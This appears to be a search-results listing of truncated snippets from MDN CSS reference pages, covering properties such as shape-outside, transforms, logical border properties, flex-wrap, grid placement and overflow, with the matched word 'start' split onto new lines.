, only the parts of the image that are the same opacity or greater than the threshold value are used in the shape. any other parts are ignored. shape-margin — sets a margin around the defined shape defining basic shapes the shape-outside property allows us to a define a shape. it takes a variety of values, all of which define different shapes, specified in the <basic-shape> datatype. we can
start by looking at a very simple case. in the following example i have an image floated left. i have then applied the shape-outside property to it with a value of circle(50%). the result is that the content now curves around the circular shape rather than following the rectangle created by the box of the image. as in this level of the specification an element has to be floated in order to apply <b...
CSS Shapes - CSS: Cascading Style Sheets
svg: shapes and arbitrarily-shaped ui components specifications specification status comment css shapes module level 1 candidate recommendation initial definition ...
Using CSS transforms - CSS: Cascading Style Sheets
png"> skewing and translating here is the mdn logo, skewed by 10 degrees and translated by 150 pixels on the x-axis. <img style="transform: skewx(10deg) translatex(150px); transform-origin: bottom left;" src="https://udn.realityripple.com/samples/6d/6633f3efc0.png"> 3d specific css properties performing css transformations in 3d space is a bit more complex. you have to
start by configuring the 3d space by giving it a perspective, then you have to configure how your 2d elements will behave in that space. perspective the first element to set is the perspective. the perspective is what gives us the 3d impression. the farther from the viewer the elements are, the smaller they are. setting perspective this example shows a cube with the perspective set at different pos...
Breadcrumb Navigation - CSS: Cascading Style Sheets
requirements the items typically display inline with a separator to indicate a hierarchy between individual pages. recipe download this example note: the example above uses two selectors to insert content before every li except the first one. this could also be achieved using one selector only: .breadcrumb li:not(:first-child)::before { content: "→"; } this solution uses a more complex selector, but requires less rules. feel free to choose the solution that you prefer. ...
Sticky footers - CSS: Cascading Style Sheets
in source order and so the header goes into the first auto sized track, the main content into the 1fr track and the footer into the final auto sized track. the 1fr track will take up all available space and so grows to fill the gap. alternate method if you need compatibility with browsers that do not support grid layout you can also use flexbox to create a sticky footer. the flexbox example
starts out in the same way, but we use display:flex rather than display:grid on the .wrapper; we also set flex-direction to column. then we set our main content to flex-grow: 1 and the other two elements to flex-shrink: 0 — this prevents them from shrinking smaller when content fills the main area. ...
CSS Layout cookbook - CSS: Cascading Style Sheets
note: if you are new to css layout then you might first like to take a look at our css layout learning module, as this will give you the basic grounding you need to make use of the recipes here. ...
Testing media queries programmatically - CSS: Cascading Style Sheets
n as a listener to the query list. mediaquerylist.addlistener(handleorientationchange); this code creates the orientation-testing media query list, then adds an event listener to it. after adding the listener, we also call the listener directly. this makes our listener perform adjustments based on the current device orientation; otherwise, our code might assume the device is in portrait mode at
startup, even if it's actually in landscape mode. the handleorientationchange() function would look at the result of the query and handle whatever we need to do on an orientation change: function handleorientationchange(evt) { if (evt.matches) { /* the viewport is currently in portrait orientation */ } else { /* the viewport is currently in landscape orientation */ } } above, we defin...
Syntax - CSS: Cascading Style Sheets
tements to do that. a statement is a building block that begins with any non-space characters and ends at the first closing brace or semi-colon (outside a string, non-escaped and not included into another {}, () or [] pair). there are two kinds of statements: rulesets (or rules) that, as seen, associate a collection of css declarations to a condition described by a selector. at-rules that
start with an at sign, '@' (u+0040 commercial at), followed by an identifier and then continuing up to the end of the statement, that is up to the next semi-colon (;) outside of a block, or the end of the next block. each type of at-rules, defined by the identifier, may have its own internal syntax, and semantics of course. they are used to convey meta-data information (like @charset or @import), condi...
Cubic Bezier Generator - CSS: Cascading Style Sheets
tput'); output.value = "p1!"; dragsm = 1; } var x2 = cx(document.getelementbyid('x2').value); var y2 = cy(document.getelementbyid('y2').value); if ((x2 + radius >= x) && (x2 - radius <= x) && (y2 + radius >= y) && (y2 - radius <= y)) { var output = document.getelementbyid('output'); output.value = "p2!"; dragsm = 2; } // if we are
starting a drag if (dragsm != 0) { canvas.onmousemove = mousemove; } } function mouseup(e) { var output = document.getelementbyid('output'); output.value = "mouse up!"; dragsm = 0; canvas.onmousemove = null; } function mousemove(e) { if (dragsm != 0) { var canvas = document.getelementbyid('bezier'); var x = e.pagex - canvas.offsetleft; var...
CSS Tutorials - CSS: Cascading Style Sheets
resent complex features to be used by more experienced users. this page lists them all, with a short description. they are grouped by complexity so that you can choose the most appropriate for your level. editor's note: we should look at using "difficulty level" tags on the tutorial/guide pages so that difficulty-based lists can be automatically built. beginner-level css tutorials getting
started this guide is aimed at complete beginners: you haven't written one single line of css? — this is for you. it explains the fundamental concepts of the language and guides you in writing basic stylesheets. using multiple backgrounds backgrounds are fundamental for nice styling: css allows you to set several of them on each box. this tutorial explains how they interact and how to achieve nice...
animation-play-state - CSS: Cascading Style Sheets
the animation-play-state css property sets whether an animation is running or paused. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. resuming a paused animation will
start the animation from where it left off at the time it was paused, rather than
starting over from the beginning of the animation sequence. syntax /* single animation */ animation-play-state: running; animation-play-state: paused; /* multiple animations */ animation-play-state: paused, running, running; /* global values */ animation-play-state: inherit; animation-play-state: initial; animation-play-state: unset; values running the animation ...
background-attachment - CSS: Cascading Style Sheets
any of them. however, on the second time round, she came upon a low curtain she had not noticed before, and behind it was a little door about fifteen inches high: she tried the little golden key in the lock, and to her great delight it fitted! </p> css p { background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif"), url("https://mdn.mozillademos.org/files/12059/
startransparent.gif"); background-attachment: fixed, scroll; background-repeat: no-repeat, repeat-y; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'background-attachment' in that specification. candidate recommendation the shorthand property has been extended to support multiple backgrounds and...
background-origin - CSS: Cascading Style Sheets
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. note that background-origin is ignored when background-attachment is fixed. ...
background-position-x - CSS: Cascading Style Sheets
ters the background image. formal definition initial valueleftapplies toall elementsinheritednopercentagesrefer to width of background positioning area minus height of background imagecomputed valuea list, each item consisting of: an offset given as a combination of an absolute length and a percentage, plus an origin keywordanimation typediscrete formal syntax [ center | [ [ left | right | x-
start | x-end ]? <length-percentage>? ]! ]#where <length-percentage> = <length> | <percentage> examples basic example the following example shows a simple background image implementation, with background-position-x and background-position-y used to define the image's horizontal and vertical positions separately. html <div></div> css div { width: 300px; height: 300px; background-color: skyb...
background-position-y - CSS: Cascading Style Sheets
ters the background image. formal definition initial valuetopapplies toall elementsinheritednopercentagesrefer to height of background positioning area minus height of background imagecomputed valuea list, each item consisting of: an offset given as a combination of an absolute length and a percentage, plus an origin keywordanimation typediscrete formal syntax [ center | [ [ top | bottom | y-
start | y-end ]? <length-percentage>? ]! ]#where <length-percentage> = <length> | <percentage> examples basic example the following example shows a simple background image implementation, with background-position-x and background-position-y used to define the image's horizontal and vertical positions separately. html <div></div> css div { width: 300px; height: 300px; background-color: skyb...
border-block-color - CSS: Cascading Style Sheets
directionality, and text orientation. it corresponds to the border-top-color and border-bottom-color, or border-right-color and border-left-color property depending on the values defined for writing-mode, direction, and text-orientation. border-block-color: yellow; border-block-color: #f5f6f7; the border color in the other dimension can be set with border-inline-color which sets border-inline-
start-color, and border-inline-end-color. syntax values <'color'> the color of the border. see color. formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typediscrete formal syntax <'border-top-color'>{1,2} examples border with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-...
border-block-end-color - CSS: Cascading Style Sheets
s defined for writing-mode, direction, and text-orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax border-block-end-color: yellow; border-block-end-color: #f5f6f7; related properties are border-block-
start-color, border-inline-
start-color, and border-inline-end-color, which define the other border colors of the element. values <'color'> the color of the border. see color. formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typea color formal syntax <'border-top-color'> examples border color with vertical text html <div> <...
border-block-end-style - CSS: Cascading Style Sheets
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax /* <'border-style'> values */ border-block-end-style: dashed; border-block-end-style: dotted; border-block-end-style: groove; related properties are border-block-
start-style, border-inline-
start-style, and border-inline-end-style, which define the other border styles of the element. values <'border-style'> the line style of the border. see border-style. formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples dashed border with vertical text html...
border-block-end-width - CSS: Cascading Style Sheets
e, direction, and text-orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax /* <'border-width'> values */ border-block-end-width: 5px; border-block-end-width: thick; related properties are border-block-
start-width, border-inline-
start-width, and border-inline-end-width, which define the other border widths of the element. values <'border-width'> the width of the border. see border-width. formal definition initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typea length ...
border-block-end - CSS: Cascading Style Sheets
of border-block-end-width, border-block-end-style, and border-block-end-color. the physical border to which it maps depends on the element's writing mode, directionality, and text orientation. it corresponds to the border-top, border-right, border-bottom, or border-left property depending on the values defined for writing-mode, direction, and text-orientation. related properties are border-block-
start, border-inline-
start, and border-inline-end, which define the other borders of the element. values the border-block-end is specified with one or more of the following, in any order: <'border-width'> the width of the border. see border-width. <'border-style'> the line style of the border. see border-style. <'color'> the color of the border. see color. formal definition initial valueas...
border-block-style - CSS: Cascading Style Sheets
border-top-style and border-bottom-style, or border-left-style and border-right-style properties depending on the values defined for writing-mode, direction, and text-orientation. /* <'border-style'> values */ border-block-style: dashed; border-block-style: dotted; border-block-style: groove; the border style in the other dimension can be set with border-inline-style, which sets border-inline-
start-style, and border-inline-end-style. syntax values <'border-style'> the line style of the border. see border-style. formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples dashed border with vertical text html <div> <p class="exampletext">example text</p> </div> css div { ...
border-block-width - CSS: Cascading Style Sheets
rientation. it corresponds to the border-top-width and border-bottom-width, or border-left-width, and border-right-width property depending on the values defined for writing-mode, direction, and text-orientation. /* <'border-width'> values */ border-block-width: 5px; border-block-width: thick; the border width in the other dimension can be set with border-inline-width, which sets border-inline-
start-width, and border-inline-end-width. syntax values <'border-width'> the width of the border. see border-width. formal definition initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typediscrete formal syntax <'border-top-width'> examples border width with vertica...
border-color - CSS: Cascading Style Sheets
der. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. each side can be set individually using border-top-color, border-right-color, border-bottom-color, and border-left-color; or using the writing mode-aware border-block-
start-color, border-block-end-color, border-inline-
start-color, and border-inline-end-color. you can find more information about border colors in borders in applying color to html elements using css. constituent properties this property is a shorthand for the following css properties: border-bottom-color border-left-color border-right-color border-top-color syntax /* <color> values */ borde...
border-image-slice - CSS: Cascading Style Sheets
slice sampled for use in each border and border corner (and the content area, if the fill keyword is used) — varying this away from 30 causes the border to look somewhat irregular, but can have some interesting effects. border-width: changes the width of the border. the sampled image size is scaled to fit inside the border, which means that if the width is bigger than the slice, the image can
start to look somewhat pixellated (unless of course you use an svg image). html <div class="wrapper"> <div></div> </div> <ul> <li> <label for="width">slide to adjust <code>border-width</code></label> <input type="range" min="10" max="45" id="width"> <output id="width-output">30px</output> </li> <li> <label for="slice">slide to adjust <code>border-image-slice</code></label> ...
border-inline-color - CSS: Cascading Style Sheets
directionality, and text orientation. it corresponds to the border-top-color and border-bottom-color, or border-right-color and border-left-color property depending on the values defined for writing-mode, direction, and text-orientation. border-inline-color: yellow; border-inline-color: #f5f6f7; the border color in the other dimension can be set with border-block-color which sets border-block-
start-color, and border-block-end-color. syntax values <'color'> the color of the border. see color. formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typediscrete formal syntax <'border-top-color'>{1,2} examples border color with vertical text html <div> <p class="exampletext">example text</p> </div> css div { backgr...
border-inline-end-color - CSS: Cascading Style Sheets
for writing-mode, direction, and text-orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax border-inline-end-color: rebeccapurple; border-inline-end-color: #663399; related properties are border-block-
start-color, border-block-end-color, and border-inline-
start-color, which define the other border colors of the element. initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typea color values <'color'> the color of the border. see color. formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation ...
border-inline-end-style - CSS: Cascading Style Sheets
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax /* <'border-style'> values */ border-inline-end-style: dashed; border-inline-end-style: dotted; border-inline-end-style: groove; related properties are border-block-
start-style, border-block-end-style, and border-inline-
start-style, which define the other border styles of the element. values <'border-style'> the line style of the border. see border-style. formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples html <div> <p class="exampletext">ex...
border-inline-end-width - CSS: Cascading Style Sheets
direction, and text-orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax /* <'border-width'> values */ border-inline-end-width: 2px; border-inline-end-width: thick; related properties are border-block-
start-width, border-block-end-width, and border-inline-
start-width, which define the other border widths of the element. initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typea length values <'border-width'> the width of the border. see border-width. formal definition i...
border-inline-end - CSS: Cascading Style Sheets
nline-end: 2px dashed; border-inline-end: medium dashed blue; the physical border to which border-inline-end maps depends on the element's writing mode, directionality, and text orientation. it corresponds to the border-top, border-right, border-bottom, or border-left property depending on the values defined for writing-mode, direction, and text-orientation. related properties are border-block-
start, border-block-end, and border-inline-
start, which define the other borders of the element. initial valueas each of the properties of the shorthand:border-width: as each of the properties of the shorthand:border-top-width: mediumborder-right-width: mediumborder-bottom-width: mediumborder-left-width: mediumborder-style: as each of the properties of the shorthand:border-top-style: noneborder-right-...
border-inline-style - CSS: Cascading Style Sheets
border-top-style and border-bottom-style, or border-left-style and border-right-style properties depending on the values defined for writing-mode, direction, and text-orientation. /* <'border-style'> values */ border-inline-style: dashed; border-inline-style: dotted; border-inline-style: groove; the border style in the other dimension can be set with border-block-style, which sets border-block-
start-style, and border-block-end-style. syntax values <'border-style'> the line style of the border. see border-style. formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples html content <div> <p class="exampletext">example text</p> </div> css content div { background-color: y...
border-inline-width - CSS: Cascading Style Sheets
he border-top-width and border-bottom-width, or border-left-width, and border-right-width property depending on the values defined for writing-mode, direction, and text-orientation. /* <'border-width'> values */ border-inline-width: 5px 10px; border-inline-width: 5px; border-inline-width: thick; the border width in the other dimension can be set with border-block-width, which sets border-block-
start-width, and border-block-end-width. syntax values <'border-width'> the width of the border. see border-width. formal definition initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typediscrete formal syntax <'border-top-width'> examples html <div> <p class="ex...
border-inline - CSS: Cascading Style Sheets
e; the physical borders to which border-inline maps depends on the element's writing mode, directionality, and text orientation. it corresponds to the border-top and border-bottom or border-right, and border-left properties, depending on the values defined for writing-mode, direction, and text-orientation. the borders in the other dimension can be set with border-block, which sets border-block-
start, and border-block-end. initial valueas each of the properties of the shorthand:border-top-width: mediumborder-top-style: noneborder-top-color: currentcolorapplies toall elementsinheritednocomputed valueas each of the properties of the shorthand:border-top-width: the absolute length or 0 if border-top-style is none or hiddenborder-top-style: as specifiedborder-top-color: computed coloranimation t...
border - CSS: Cascading Style Sheets
i.e., none. the border shorthand is especially useful when you want all four borders to be the same. to make them different from each other, however, you can use the longhand border-width, border-style, and border-color properties, which accept different values for each side. alternatively, you can target one border at a time with the physical (e.g., border-top ) and logical (e.g., border-block-
start) border properties. borders vs. outlines borders and outlines are very similar. however, outlines differ from borders in the following ways: outlines never take up space, as they are drawn outside of an element's content. according to the spec, outlines don't have to be rectangular, although they usually are. formal definition initial valueas each of the properties of the shorthand:borde...
box-direction - CSS: Cascading Style Sheets
nts normally (from the top or left edge), or in reverse (from the bottom or right edge). /* keyword values */ box-direction: normal; box-direction: reverse; /* global values */ box-direction: inherit; box-direction: initial; box-direction: unset; syntax the box-direction property is specified as one of the keyword values listed below. values normal the box lays out its contents from the
start (the left or top edge). reverse the box lays out its contents from the end (the right or bottom edge). notes the edge of the box designated the
start for layout purposes depends on the box's orientation: horizontal left vertical top the edge opposite to the
start is designated the end. if the direction is set using the element's dir attribute, then the style ...
box-ordinal-group - CSS: Cascading Style Sheets
nal group. /* <integer> values */ box-ordinal-group: 1; box-ordinal-group: 5; /* global values */ box-ordinal-group: inherit; box-ordinal-group: initial; box-ordinal-group: unset; ordinal groups may be used in conjunction with the box-direction property to control the order in which the direct children of a box appear. when the computed box-direction is normal, a box will display its elements
starting from the lowest numbered ordinal group and ensure that those elements appear to the left (for horizontal boxes) or at the top (for vertical boxes) of the container. elements with the same ordinal group are flowed in the order they appear in the source document tree. in the reverse direction, the ordinal groups are examined in the same order, except the elements appear reversed. syntax the bo...
<color> - CSS: Cascading Style Sheets
sions prior to 1.9, use -moz-field. see also -moz-eventreerow. -moz-win-communicationstext should be used for text in objects with -moz-appearance: -moz-win-communications-toolbox;. -moz-win-mediatext should be used for text in objects with -moz-appearance: -moz-win-media-toolbox. -moz-win-accentcolor used to access the windows 10 custom accent color that you can set on the
start menu, taskbar, title bars, etc. -moz-win-accentcolortext used to access the color of text placed over the windows 10 custom accent color in the
start menu, taskbar, title bars, etc. mozilla color preference extensions -moz-activehyperlinktext user's preference for text color of active links. should be used with the default document background color. -moz-default-background-...
counter-set - CSS: Cascading Style Sheets
t as you want, with each name or name-number pair separated by a space. the keyword value none. values <custom-ident> the name of the counter to set. <integer> the value to set the counter to on each occurrence of the element. defaults to 0 if not specified. if there isn't currently a counter of the given name on the element, the element will create a new counter of the given name with a
starting value of 0 (though it may then immediately set or increment that value to something different). none no counter set is to be performed. this can be used to override a counter-set defined in a less specific rule. formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax [ <custom-ident> <integer>? ]+ | none example...
counter() - CSS: Cascading Style Sheets
used with any css property, but support for properties other than content is experimental, and support for the type-or-unit parameter is sparse. check the browser compatibility table carefully before using this in production. syntax values <custom-ident> a name identifying the counter, which is the same case-sensitive name used for the counter-reset and counter-increment. the name cannot
start with two dashes and can't be none, unset, initial, or inherit. <counter-style> a counter style name or symbols() function, where a counter style name is a numeric, alphabetic, or symbolic simple predefined counter style, a complex longhand east asian or ethiopic predefined counter style, or other predefined counter style. if omitted, the counter-style defaults to decimal formal syntax counte...
counters() - CSS: Cascading Style Sheets
sed with any css property, but support for properties other than content is experimental, and support for the type-or-unit parameter is sparse. check the browser compatibility table carefully before using this in production. syntax values <custom-ident> a name identifying the counters, which is the same case-sensitive name used for the counter-reset and counter-increment. the name cannot
start with two dashes and can't be none, unset, initial, or inherit. <counter-style> a counter style name or symbols() function, where a counter style name is a numeric, alphabetic, or symbolic simple predefined counter style, a complex longhand east asian or ethiopic predefined counter style, or other predefined counter style. if omitted, the counter-style defaults to decimal <string> any number o...
cursor - CSS: Cascading Style Sheets
item/column can be resized horizontally. often rendered as arrows pointing left and right with a vertical bar separating them. row-resize the item/row can be resized vertically. often rendered as arrows pointing up and down with a horizontal bar separating them. n-resize some edge is to be moved. for example, the se-resize cursor is used when the movement
starts from the south-east corner of the box. in some environments, an equivalent bidirectional resize cursor is shown. for example, n-resize and s-resize are the same as ns-resize. e-resize s-resize w-resize ne-resize nw-resize se-resize sw-resize ew-resize b...
flex-flow - CSS: Cascading Style Sheets
flex items are laid out in multiple lines */ flex-flow: column-reverse wrap; } specifications specification status comment css flexible box layout modulethe definition of 'flex-flow' in that specification. candidate recommendation initial definition ...
flex-wrap - CSS: Cascading Style Sheets
rap; /* default value */ flex-wrap: wrap; flex-wrap: wrap-reverse; /* global values */ flex-wrap: inherit; flex-wrap: initial; flex-wrap: unset; the flex-wrap property is specified as a single keyword chosen from the list of values below. values the following values are accepted: nowrap the flex items are laid out in a single line which may cause the flex container to overflow. the cross-
start is either equivalent to
start or before depending on the flex-direction value. this is the default value. wrap the flex items break into multiple lines. the cross-
start is either equivalent to
start or before depending flex-direction value and the cross-end is the opposite of the specified cross-
start. wrap-reverse behaves the same as wrap but cross-
start and cross-end are permuted. formal ...
font-family - CSS: Cascading Style Sheets
forms. this style is often used for government documents. this is some example fangsong text with the chinese characters for "fangsong" in traditional and simple forms, respectively: 仿宋體 仿宋体. valid family names font family names must either be given quoted as strings, or unquoted as a sequence of one or more identifiers. this means that punctuation characters and digits at the
start of each token must be escaped in unquoted font family names. for example, the following declarations are valid: font-family: gill sans extrabold, sans-serif; font-family: "goudy bookletter 1911", sans-serif; the following declarations are invalid: font-family: goudy bookletter 1911, sans-serif; font-family: red/black, sans-serif; font-family: "lucida" grande, sans-serif; font-family: ahem!, s...
grid-auto-flow - CSS: Cascading Style Sheets
> <option value="row">row</option> </select> <input id="dense" type="checkbox" onchange="changegridautoflow()"> <label for="dense">dense</label> css #grid { height: 200px; width: 200px; display: grid; grid-gap: 10px; grid-template: repeat(4, 1fr) / repeat(2, 1fr); grid-auto-flow: column; /* or 'row', 'row dense', 'column dense' */ } #item1 { background-color: lime; grid-row-
start: 3; } #item2 { background-color: yellow; } #item3 { background-color: blue; } #item4 { grid-column-
start: 2; background-color: red; } #item5 { background-color: aqua; } function changegridautoflow() { var grid = document.getelementbyid("grid"); var direction = document.getelementbyid("direction"); var dense = document.getelementbyid("dense"); var gridautoflow = direction.va...
grid-template-areas - CSS: Cascading Style Sheets
cells in the grid and assigning them names. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. those areas are not associated with any particular grid item, but can be referenced from the grid-placement properties grid-row-
start, grid-row-end, grid-column-
start, grid-column-end, and their shorthands grid-row, grid-column, and grid-area. syntax /* keyword value */ grid-template-areas: none; /* <string> values */ grid-template-areas: "a b"; grid-template-areas: "a b b" "a c d"; /* global values */ grid-template-areas: inherit; grid-template-areas: initial; grid-template-areas: unset; values no...
<image> - CSS: Cascading Style Sheets
if language is rtl, the image will be horizontally flipped. */ cross-fade(20% url(twenty.png), url(eighty.png)) /* cross faded images, with twenty being 20% opaque ...
inset-inline-end - CSS: Cascading Style Sheets
defined for writing-mode, direction, and text-orientation. /* <length> values */ inset-inline-end: 3px; inset-inline-end: 2.4em; /* <percentage>s of the width or height of the containing block */ inset-inline-end: 10%; /* keyword value */ inset-inline-end: auto; /* global values */ inset-inline-end: inherit; inset-inline-end: initial; inset-inline-end: unset; the shorthand for inset-inline-
start and inset-inline-end is inset-inline. syntax values the inset-inline-end property takes the same values as the left property. formal definition initial valueautoapplies topositioned elementsinheritednopercentageslogical-width of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(...
<length> - CSS: Cascading Style Sheets
background-color: #999; box-shadow: inset 3px 3px 5px rgba(255,255,255,0.5), inset -3px -3px 5px rgba(0,0,0,0.5); background-color: orange; display: flex; align-items: center; margin-top: 10px; } .result code { position: absolute; margin-left: 20px; } .results { margin-top: 10px; } .input-container { position: absolute; display: flex; justify-content: flex-
start; align-items: center; height: 50px; } label { margin: 0 10px 0 20px; } javascript const inputdiv = document.queryselector('.inner'); const inputelem = document.queryselector('input'); const resultsdiv = document.queryselector('.results'); inputelem.addeventlistener('change', () => { inputdiv.style.width = inputelem.value; const result = document.createelement('div'); result.class...
margin-block-end - CSS: Cascading Style Sheets
/* relative to the nearest block container's width */ /* keyword values */ margin-block-end: auto; /* global values */ margin-block-end: inherit; margin-block-end: initial; margin-block-end: unset; it corresponds to the margin-top, margin-right, margin-bottom, or margin-left property depending on the values defined for writing-mode, direction, and text-orientation. it relates to margin-block-
start, margin-inline-
start, and margin-inline-end, which define the other margins of the element. values the margin-block-end property takes the same values as the margin-left property. formal definition initial value0applies tosame as margininheritednopercentagesdepends on layout modelcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the speci...
mask-border-outset - CSS: Cascading Style Sheets
n initial value0applies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednocomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typediscrete formal syntax [ <length> | <number> ]{1,4} examples basic usage this property doesn't appear to be supported anywhere yet. when it eventually
starts to be supported, it will serve to move the mask away from the inner edge of the element's border box — you can use it to make the mask
start from part way across the border, rather than the inside of it. mask-border-outset: 1rem; chromium-based browsers support an outdated version of this property — mask-box-image-outset — with a prefix: -webkit-mask-box-image-outset: 1rem; note: the ...
mask-border-repeat - CSS: Cascading Style Sheets
hieve the proper fit. formal definition initial valuestretchapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax [ stretch | repeat | round | space ]{1,2} examples basic usage this property doesn't appear to be supported anywhere yet. when it eventually
starts to be supported, it will serve to define how the border mask slice will repeat around the border — i.e. will it just repeat, or be scaled slightly so a whole number of slices fits, or be stretched so one slice fits? mask-border-repeat: round; chromium-based browsers support an outdated version of this property — mask-box-image-repeat — with a prefix: -webkit-mask-box-image-repeat: round...
mask-border-slice - CSS: Cascading Style Sheets
svg, it applies to container elements excluding the defs element and all graphics elementsinheritednopercentagesrefer to size of the mask border imagecomputed valueas specifiedanimation typediscrete formal syntax <number-percentage>{1,4} fill?where <number-percentage> = <number> | <percentage> examples basic usage this property doesn't appear to be supported anywhere yet. when it eventually
starts to be supported, it will serve to define the size of the slices taken from the source image, and used to create the border mask. mask-border-slice: 30 fill; chromium-based browsers support an outdated version of this property — mask-box-image-slice — with a prefix: -webkit-mask-box-image-slice: 30 fill; note: the mask-border page features a working example (using the out-of-date prefixe...
mask-border-source - CSS: Cascading Style Sheets
<length-percentage><length-percentage> = <length> | <percentage><angular-color-stop> = <color> && <color-stop-angle>?<angular-color-hint> = <angle-percentage>where <color-stop-length> = <length-percentage>{1,2}<color-stop-angle> = <angle-percentage>{1,2}<angle-percentage> = <angle> | <percentage> examples basic usage this property doesn't appear to be supported anywhere yet. when it eventually
starts to be supported, it will serve to define the source of the border mask. mask-border-source: url(image.jpg); chromium-based browsers support an outdated version of this property — mask-box-image-source — with a prefix: -webkit-mask-box-image-source: url(image.jpg); note: the mask-border page features a working example (using the out-of-date prefixed border mask properties supported in ch...
mask-border-width - CSS: Cascading Style Sheets
inheritednopercentagesrelative to width/height of the mask border image areacomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typediscrete formal syntax [ <length-percentage> | <number> | auto ]{1,4}where <length-percentage> = <length> | <percentage> examples basic usage this property doesn't appear to be supported anywhere yet. when it eventually
starts to be supported, it will serve to define the width of the border mask — setting this to a different value to mask-border-slice will cause the slices to be scaled to fit the border mask. mask-border-width: 30 fill; chromium-based browsers support an outdated version of this property — mask-box-image-width — with a prefix: -webkit-mask-box-image-width: 20px; note: the mask-border page f...
object-fit - CSS: Cascading Style Sheets
ass="scale-down" src="https://udn.realityripple.com/samples/ae/248a9938d9.png" alt="mdn logo"> <img class="scale-down narrow" src="https://udn.realityripple.com/samples/ae/248a9938d9.png" alt="mdn logo"> </section> css h2 { font-family: courier new, monospace; font-size: 1em; margin: 1em 0 0.3em; } div { display: flex; flex-direction: column; flex-wrap: wrap; align-items: flex-
start; height: 940px; } img { width: 150px; height: 100px; border: 1px solid #000; } .narrow { width: 100px; height: 150px; margin-top: 10px; } .fill { object-fit: fill; } .contain { object-fit: contain; } .cover { object-fit: cover; } .none { object-fit: none; } .scale-down { object-fit: scale-down; } result specifications specification status commen...
overflow-block - CSS: Cascading Style Sheets
the overflow-block css property sets what shows when content overflows the block
start and block end edges of a box. this may be nothing, a scroll bar, or the overflow content. the overflow-block property maps to overflow-y or overflow-x depending on the writing mode of the document. syntax /* keyword values */ overflow-block: visible; overflow-block: hidden; overflow-block: scroll; overflow-block: auto; /* global values */ overflow-block: inherit; overflow-block: initial; overflow-block: unset; the overflow-block property is specified as a single keyword chosen from the list of values below. values visible content is not clipped and may be rendered outside the padding box's block
start and block end edges. hidden content is clipped if necessary to fit the block dimension in the...
overflow-inline - CSS: Cascading Style Sheets
the overflow-inline css property sets what shows when content overflows the inline
start and end edges of a box. this may be nothing, a scroll bar, or the overflow content. the overflow-inline property maps to overflow-y or overflow-x depending on the writing mode of the document. syntax /* keyword values */ overflow-inline: visible; overflow-inline: hidden; overflow-inline: scroll; overflow-inline: auto; /* global values */ overflow-inline: inherit; overflow-inline: initial; overflow-inline: unset; the overflow-inline property is specified as a single keyword chosen from the list of values below. values visible content is not clipped and may be rendered outside the padding box's inline
start and end edges. hidden content is clipped if necessary to fit the inline dimension in th...
overflow-x - CSS: Cascading Style Sheets
, it will implicitly compute to auto. hidden content is clipped if necessary to fit horizontally in the padding box. no scrollbars are provided. clip like for hidden, the content is clipped to the element's padding box. the difference between clip and hidden is that the clip keyword also forbids all scrolling, including programmatic scrolling. the box is not a scroll container, and does not
start a new formatting context. if you wish to
start a new formatting context, you can use display: flow-root to do so. scroll content is clipped if necessary to fit horizontally in the padding box. browsers display scrollbars whether or not any content is actually clipped. (this prevents scrollbars from appearing or disappearing when the content changes.) printers may still print overflowing content...
overflow-y - CSS: Cascading Style Sheets
the padding box's top and bottom edges. hidden content is clipped if necessary to fit vertically in the padding box. no scrollbars are provided. clip like for hidden, the content is clipped to the element's padding box. the difference between clip and hidden is that the clip keyword also forbids all scrolling, including programmatic scrolling. the box is not a scroll container, and does not
